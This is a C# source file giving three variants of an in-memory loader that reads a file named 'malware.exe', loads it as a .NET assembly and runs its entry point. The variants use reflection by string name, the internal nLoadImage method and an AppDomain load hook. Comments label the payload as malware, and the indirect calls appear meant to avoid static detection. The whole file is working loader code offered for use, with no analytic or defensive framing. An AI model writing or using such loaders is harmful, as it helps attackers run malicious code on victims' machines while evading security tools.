//Using reflection to call methods by string name.
namespace pg1 {
    public static class Program {
        public static void Main() {
            var filename = "malware.exe";
            var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as Assembly;// or (Assembly)...
            Call(typeof(Program), "InvokeEntrypoint", assembly);
        }
        public static void InvokeEntrypoint(Assembly asm) {
            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
        }


        //Calls method using reflection, instead of directly
        public static object Call(Type space, string name, params object[] argv) {
            List<Type> ptyp = new List<Type>();
            foreach(var o in argv) {
                ptyp.Add(o.GetType());
            }
            var m = space.GetMethod(name, ptyp.ToArray());
            return m.Invoke(null, argv);
        }
    }
}


//Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)
namespace pg1 {
    public static class Program {
        public static void Main() {
            /*
                Get the malware data
            */
            var data = System.IO.File.ReadAllBytes("malware.exe");
            /*
                Invoke the internal method _nLoad
            */
            var assembly = InternalLoad(data);
            /*
                Execute
            */
            InvokeEntrypoint(assembly);
        }
        public static Assembly InternalLoad(byte[] image) {
            return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false, null }) as Assembly;
        }
        public static void InvokeEntrypoint(Assembly asm) {
            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
        }
    }
}


//Using the AppDomain.Load method
namespace pg1 {
    public static class Program {
        public static void Main() {
            var data = System.IO.File.ReadAllBytes("malware.exe");
            SetupInvoker(); //call only once, invokes the entrypoint
            var assembly = AppDomainLoad(data);
        }
        public static void SetupInvoker() {
            AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender, AssemblyLoadEventArgs args) {
                InvokeEntrypoint(args.LoadedAssembly);
            };
        }
        public static Assembly AppDomainLoad(byte[] image) {
            return AppDomain.CurrentDomain.Load(image);
        }
        public static void InvokeEntrypoint(Assembly asm) {
            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
        }
    }
}